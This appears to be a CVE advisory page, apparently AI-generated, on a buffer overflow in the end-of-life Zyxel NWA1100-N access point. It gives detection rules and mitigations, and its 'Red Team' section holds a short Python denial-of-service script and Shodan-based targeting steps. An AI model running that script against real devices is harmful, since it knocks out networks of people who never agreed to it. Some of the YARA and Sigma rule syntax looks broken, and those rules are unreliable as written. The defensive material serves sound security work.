☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zyxel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-120
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-7287

CVE-2026-7287 Buffer Overflow in Zyxel
📅 PUBLISHED: 2026-05-12 04:16 UTC 🔄 UPDATED: 2026-09-23 20:20 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Taiwan License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-7287 is a critical buffer overflow vulnerability affecting the Zyxel NWA1100-N wireless access point, specifically in customized firmware version 1.00(AACE.1)C0. The vulnerability resides in multiple functions (formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert()) within the webs binary. An unauthenticated attacker can trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to the vulnerable device. The product is marked as UNSUPPORTED WHEN ASSIGNED, meaning it is end-of-life and no patches will be provided. The CVSS score is 7.5 (High), with a vector emphasizing network-based, low-complexity exploitation without authentication.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Zyxel NWA1100-N). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: High (A:H) – Complete denial of service.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and the product is end-of-life with no patch available. Attackers can easily disrupt operations of affected devices.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the webs binary, which handles HTTP requests on the Zyxel NWA1100-N. The affected functions (formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), formDelcert()) process user-supplied input from HTTP POST or GET parameters without proper bounds checking. By sending a crafted request with an overly long parameter value, an attacker can overflow a fixed-size buffer on the stack, corrupting adjacent memory.

Root Cause: The functions use unsafe string copy functions (e.g., sprintf, strcpy) that do not validate input length against the destination buffer size. This allows an attacker to write beyond the allocated buffer, overwriting the return address or other critical data.

Impact: The most immediate impact is a denial-of-service (DoS) condition, as the overflow typically causes a segmentation fault or system crash. However, depending on memory layout and mitigations (e.g., ASLR, NX), code execution might be possible, though the advisory only confirms DoS.

Affected Functions:

  • formWep() – Handles WEP key configuration.
  • formWlAc() – Handles wireless access control.
  • formPasswordSetup() – Handles password changes.
  • formUpgradeCert() – Handles certificate uploads.
  • formDelcert() – Handles certificate deletion.

All these functions are reachable via HTTP requests to the device's web interface.

Vulnerable vs. Patched Code

Since the product is end-of-life and no patch exists, a direct comparison is not possible. However, a hypothetical fix would involve replacing unsafe functions with bounds-checked alternatives:

Vulnerable Code (Conceptual):

void formWep(char *input) {
    char buffer[64];
    sprintf(buffer, "%s", input); // Unsafe: no bounds check
    // ... process buffer
}

Patched Code (Conceptual):

void formWep(char *input) {
    char buffer[64];
    snprintf(buffer, sizeof(buffer), "%s", input); // Safe: limits copy
    // ... process buffer
}

The patched version uses snprintf to ensure only up to 63 bytes (plus null terminator) are copied, preventing overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Zyxel NWA1100-N with firmware version 1.00(AACE.1)C0.
  • Network access to the device's web interface (typically port 80 or 443).
  • No authentication required.

Exploitation Steps:

  1. Identify the target device using Shodan or network scanning.
  2. Send a crafted HTTP POST request to one of the vulnerable endpoints (e.g., /Forms/formWep).
  3. Include an overly long parameter value (e.g., WepKey parameter with 1000 'A' characters).
  4. The device will crash, causing a denial of service.

Example Exploit (Python):

import requests

target = "http://192.168.1.1"
payload = "A" * 1000  # Overflow payload

# Attempt to trigger overflow in formWep
data = {"WepKey": payload}
try:
    r = requests.post(f"{target}/Forms/formWep", data=data, timeout=5)
except requests.exceptions.Timeout:
    print("Device likely crashed (DoS achieved)")
except Exception as e:
    print(f"Error: {e}")

Note: No public exploit code is available from Exploit-DB. The above is a conceptual example.

Blue Team (Defensive)

Detection:

  • Monitor for HTTP requests with abnormally long parameter values (e.g., > 256 bytes).
  • Use network intrusion detection systems (NIDS) to flag requests to /Forms/formWep, /Forms/formWlAc, etc., with excessive data.
  • Check device logs for crashes or unexpected reboots.

Mitigation:

  • Replace end-of-life devices with supported models.
  • If replacement is not possible, restrict network access to the device using firewall rules (allow only trusted IPs).
  • Disable the web interface if not needed.
  • Monitor for DoS events and have a recovery plan.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /Forms/formWep, /Forms/formWlAc, /Forms/formPasswordSetup, /Forms/formUpgradeCert, /Forms/formDelcert with parameter values exceeding 256 bytes.
    • Repeated connection timeouts to the device after such requests.
  • Host IOCs:
    • Device logs showing segmentation faults or kernel panics.
    • Unexpected device reboots.
  • File IOCs:
    • No specific file-based IOCs due to the nature of the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2026_7287_Zyxel_Buffer_Overflow {
    meta:
        description = "Detects HTTP requests targeting Zyxel NWA1100-N buffer overflow"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-7287"
    strings:
        $s1 = "/Forms/formWep" ascii nocase
        $s2 = "/Forms/formWlAc" ascii nocase
        $s3 = "/Forms/formPasswordSetup" ascii nocase
        $s4 = "/Forms/formUpgradeCert" ascii nocase
        $s5 = "/Forms/formDelcert" ascii nocase
        $long_param = /[A-Za-z0-9]{256,}/  // Parameter value > 255 chars
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and $long_param
}

Sigma Rule

title: CVE-2026-7287 Zyxel NWA1100-N Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with long parameters targeting vulnerable Zyxel endpoints
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/Forms/formWep'
            - '/Forms/formWlAc'
            - '/Forms/formPasswordSetup'
            - '/Forms/formUpgradeCert'
            - '/Forms/formDelcert'
    condition: selection and |cs-uri-query| > 256
falsepositives:
    - Legitimate long configuration values (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-7287 Zyxel NWA1100-N Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/Forms/formWep"; http_uri;
    pcre:"/[A-Za-z0-9]{256,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2026-7287;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Replace the device: Since the product is end-of-life and unsupported, the only permanent fix is to replace the Zyxel NWA1100-N with a supported model.
  2. Network segmentation: If replacement is not possible, isolate the device on a separate VLAN with strict firewall rules allowing only trusted management hosts.
  3. Disable web interface: If the web interface is not required, disable it via the device's CLI or configuration.
  4. Monitor for exploitation: Deploy the provided detection rules to identify potential attacks.

Long-Term Recommendations:

  • Implement a lifecycle management policy for network devices to ensure timely upgrades.
  • Use vulnerability scanning tools to identify end-of-life devices.
  • Consider using a web application firewall (WAF) to filter malicious requests.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-7287/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.